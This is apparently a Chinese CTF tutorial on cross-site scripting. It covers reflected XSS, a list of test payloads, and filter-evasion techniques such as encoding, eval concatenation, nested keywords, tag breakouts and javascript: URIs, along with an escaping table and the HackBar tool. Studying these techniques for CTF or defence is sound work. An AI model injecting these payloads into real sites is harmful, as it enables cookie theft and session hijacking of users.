ctf-XSS

XSS

  1. 什么是xss?
    跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为 XSS。恶意攻击者往 WEB 页面里插入恶意 HTML 代码,当用户浏览该页之时,嵌入其中 Web 里面的 HTML 代码会被执行,从而达到恶意攻击用户的特殊目的。

  2. xss的危害
    通过 document.cookie 盗取 cookie中的信息
    使用 js或 css破坏页面正常的结构与样式
    流量劫持(通过访问某段具有 window.location.href 定位到其他页面)等

xss攻击

反射型:

  • 攻击者提前构造一个恶意链接,来诱使客户点击,比如这样的一段链接:url+?params=<script>alert("xss攻击")</script>
  • 发生在与用户交互的地方,比如输入框
  • 尝试,网址:http://dm.unrun.top/classkey.php?page=1&classkey=

    classkey参数接受一个参数

搜索框输入 <script>alert("xss攻击")</script> 提交

js代码被执行,classkey.php没有对用户输入作处理,直接输出,这就是xss反射型漏洞,实施攻击,比如盗取用户的 cookie

js获取cookie代码:alert (document. cookie

然后输入<script>alert (document. cookie)</script>
弹框显示,盗取cookie,dm.unrun.top网站我没有设置cookie所以是空的

这样甚至可以写js向HK提前准备好的网站发送信息

相关示例

XSS常用的测试语句

1
2
3
4
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<a href=javascript:alert(1)>

当字符被过滤时

过滤空格用/代替空格

1
<img/src="x"/onerror=alert("xss");>

使用中文句号代替英文逗号
输入中文句号浏览器会自动转化成英文的逗号

1
<img src="x" onerror="document.location=`http://www。baidu。com`">

使用url编码URL解码编码

1
<img src="x" onerror=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`>

用//可以代替http://

1
<img src="x" onerror=document.location=`//www.baidu.com`>

字符拼接利用eval

1
<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">

堆叠绕过

script被过滤时

服务器替换这些关键词为空

1
2
3
4
5
str_replace("script","");
str_replace("on","");
str_replace("src","");
str_replace("data","");
str_replace("href","");

采用:scrscriptipt,oonn,ssrcrc等方法

标签闭合绕过

浏览器查找与前一个未闭合标签最近的匹配标签,有两个时后一个不会被解析

1
<input type="text" value='<script>alert("XSS")</script>'>

前面加上'>也就是'><script>alert("XSS")</script>

1
<input type="text" value=''><script>alert("XSS")</script>'>

伪协议绕过

不能用事件触发时用伪协议,javascript / data : 后面的代码
<object data=javascript:alert(1)>

1
<a href="javascript:alert(`xss`);">xss</a>

这样还有这样

1
(alert)(1);	 alert(1);  alert`1`; 

url解析过程

浏览器对编码解析的顺序:
URL解析->HTML解析->CSS解析->JS解析

  1. 浏览器接收到一个 HTML 文档时,会触发 HTML 解析器对 HTML 文档进行词法解析,这一过程完成 HTML解码 并创建 DOM 树;
  2. 接下来 JavaScript 解析器会介入对内联脚本进行解析,这一过程完成 JS 的解码工作;
  3. 如果浏览器遇到需要 URL 的上下文环境,这时 URL 解析器也会介入完成 URL 的解码工作。

URL 解析器的解码顺序会根据 URL 所在位置不同,导致在 JavaScript 解析器之前或之后解析

XSS编码问题

  1. HTML字符实体:
    在呈现 HTML 页面时,针对某些特殊字符如“<”或”>”直接使用,浏览器会误以为它们标签的开始或结束,若想正确的在 HTML 页面呈现特殊字符就需要用到其对应的字符实体。HTML 字符实体以& 开头 + 预先定义的实体名称,以分号结束,如“<”的实体名称为< 或以 & 开头+#符号以及字符的十进制数字(或者 十六 进制,都能解析),如”<”的实体编号为&#60;。
  2. JavaScript 编码:最常用的如 “\uXXXX” 这种写法为 Unicode 转义序列,表示一个字符,其中 xxxx 表示一个 16 进制数字,如”<” Unicode 编码为“\u003c”。
  3. URL编码:%加字符的 ASCII 编码对于的 2 位 16 进制数字,如”/”对应的 URL 编码为%2f。

常见的转义符

HTML在线编码转换

为了xss

字符 转义后的字符
& &amp;
< &lt;
> &gt;
&quot;
&#x27;
/ &#x2F;

工具HackBar

HackBar下载:https://github.com/HCTYMFF/hackbar2.1.3

HackBar 是一个浏览器上的一个插件,包含一些常用的工具,比如SQL injection,XSS,加密等

截图

位置:F12打开tab栏最右侧

方便对url编码转换

右侧三个按钮:加载网址–切分网址–执行

post提交,众所周知get参数可以写在地址栏,post就需要借助工具了

相关资料

XSS(跨站脚本攻击)详解—博客园

xss 常用标签及绕过姿势总结

xss挖掘思路分享_强防御下的XSS绕过思路—csdn